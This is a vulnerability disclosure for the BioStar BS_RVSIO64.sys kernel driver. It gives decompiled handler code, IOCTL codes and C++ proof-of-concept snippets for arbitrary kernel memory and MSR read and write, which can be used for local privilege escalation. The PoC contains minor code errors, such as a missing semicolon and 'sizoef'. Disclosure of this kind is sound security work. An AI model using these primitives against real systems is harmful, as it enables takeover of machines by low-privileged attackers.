| 설명 | 1. VULNERABILITY COMPONENT
Vendor Name: BioStar (official site: https://www.biostar.com.tw)
Product Name: VALKYRIE_AURORA_2.10.2411.0800
Affected Version(s): 2.10.2411.0800
Affected Component/File: BS_RVSIO64.sys(SHA256: A8AAE612727320DB096B337A45BF3CD31B5F9702EF6C4747DD2AAA74FF6BADB7)
Affected Routine/Function: sub_1105C(0x10000 + 0x10CD, DriverObject->StartIo)
2. VULNERABILITY DETAILS
Vulnerability Type: Arbitrary memory read and write
CWE ID: CWE-822, CWE-123, CWE-125, CWE-1256
Attack Vector: Local
Required Privileges: User (Low-privileged user/Everyone group)
3. ANALYSIS DETAILS
The vulnerable code is at .text:00000000000110CD(0x10000 + 0x10CD):
```C++
v10 = LowPart - 0x226040; // Arbitrary Read
if ( !v10 )
{
CurrentIrql = KeGetCurrentIrql();
if ( CurrentIrql )
__writecr8(0);
sub_11A08(*(_DWORD *)a2->AssociatedIrp.SystemBuffer, (_DWORD *)a2->AssociatedIrp.SystemBuffer, Length);
goto LABEL_33;
}
v11 = v10 - 4; // Arbitrary Write
if ( !v11 )
{
CurrentIrql = KeGetCurrentIrql();
if ( CurrentIrql )
__writecr8(0);
sub_11AC0(
*(_DWORD *)a2->AssociatedIrp.SystemBuffer,
(_DWORD *)a2->AssociatedIrp.SystemBuffer + 1,
Options - 4);
goto LABEL_33;
```
The subroutine sub_11A08 and sub_11AC0 handle the read and write respectively
AND
```c++
v43 = v42 - 60;
if ( !v43 ) // Arbitrary MSR register Read
{
v16 = KeGetCurrentIrql();
if ( v16 )
__writecr8(0);
v47 = a2->AssociatedIrp.MasterIrp;
v48 = *(_DWORD *)&v47->Type;
dword_15130 = 0;
dword_15134 = 0;
dword_15138 = v48;
KeWaitForSingleObject(&Semaphore, Executive, 0, 0, nullptr);
sub_13040();
*(_DWORD *)&v47->Type = dword_15134;
*(_DWORD *)(&v47->Size + 1) = dword_15130;
KeReleaseSemaphore(&Semaphore, 0, 1, 0);
goto LABEL_25;
}
v44 = v43 - 4;
if ( !v44 ) // Arbitrary MSR register Write
{
CurrentIrql = KeGetCurrentIrql();
if ( CurrentIrql )
__writecr8(0);
SystemBuffer = (int *)a2->AssociatedIrp.SystemBuffer;
dword_15138 = *SystemBuffer;
dword_15134 = SystemBuffer[1];
dword_15130 = SystemBuffer[2];
KeWaitForSingleObject(&Semaphore, Executive, 0, 0, nullptr);
sub_13064();
KeReleaseSemaphore(&Semaphore, 0, 1, 0);
goto LABEL_33;
}
```
The subroutine sub_13040 and sub_13064 handle the MSR read and write respectively
4. TECHNICAL DESCRIPTION
Option A: Arbitrary Kernel Write (The "Write-What-Where" Flaw)
Description:
An untrusted pointer dereference vulnerability (CWE-822 / CWE-123) exists in the BS_RVSIO64.sys kernel-mode driver. The driver exposes a control code (IOCTL 0x226044) to user-mode applications. When handling this request, the driver's dispatch routine fails to validate a user-supplied pointer passed in the input buffer before executing a write operation to that memory address.
A local attacker with low privileges can craft a malicious IOCTL request containing a target kernel-space address and arbitrary data, allowing them to overwrite critical kernel structures (such as page tables or token privileges). This leads to a local privilege escalation (LPE) to NT AUTHORITY\SYSTEM or a system crash (BSOD).
Option B: Arbitrary Kernel Read
Description:
An out-of-bounds read vulnerability (CWE-125) exists in the BS_RVSIO64.sys kernel-mode driver. The driver's IOCTL handler (IOCTL 0x226040) accepts a physical memory address pointer directly from user-space without performing validation
The driver reads data from the specified kernel address and copies it back to the user-space output buffer. A local, low-privileged attacker can exploit this to leak arbitrary kernel memory, bypassing Kernel Address Space Layout Randomization (KASLR) or extracting sensitive system tokens and credentials.
Option C: Arbitrary MSR register Read and Write
Description:
An issue was discovered in BS_RVSIO64.sys. The driver exposes an interface that allows untrusted user-mode applications to invoke arbitrary write operations to Model-Specific Registers (MSRs) via IOCTL 0x226180 (CWE-1256), bypassing Ring 0 execution restrictions.
5. PROOF OF CONCEPT (PoC)
Example:
The flaw can be reproduced by opening a handle to the device object and sending the control code with a crafted parameter:
```c++
/* Read from kernel memory */
// We can leak physical kernel base through other tricks
DWORD PhysicalAddress{0x30a3000};
// The buffer receive the kernel data
UCHAR OutBuffer[512]{};
HANDLE hDevice = CreateFileW(L"\\\\.\\BS_RVSIO", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice != INVALID_HANDLE_VALUE) {
DWORD bytesReturned{ 0 };
DeviceIoControl(hDevice, 0x226040, &PhysicalAddress, sizeof(DWORD), OutBuffer, sizeof(OutBuffer), &bytesReturned, NULL);
}
```
```c++
/* Write into kernel memory */
struct WriteRequest {
DWORD PhysicalAddress;
UCHAR Buffer[1];
};
auto allocSize = sizeof(DWORD) + 1024;
std::unique_ptr<WriteRequest> req{ (WriteRequest*)::operator new (allocSize) };
// We can leak physical kernel base through other tricks
req->PhysicalAddress = 0x30a3000
constexpr ULONG GARBAGE_DATA = 0x5A5A5A5A;
// Write garbage data
memcpy(&req->Buffer[0], &GARBAGE_DATA, sizoef(ULONG));
HANDLE hDevice = CreateFileW(L"\\\\.\\BS_RVSIO", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice != INVALID_HANDLE_VALUE) {
DWORD bytesReturned;
DeviceIoControl(hDevice, 0x226044, req.get(), allocSize, req.get(), allocSize, &bytesReturned, NULL);
}
```
6. CREDIT
Discoverer/Researcher: Jacky([email protected]) |
|---|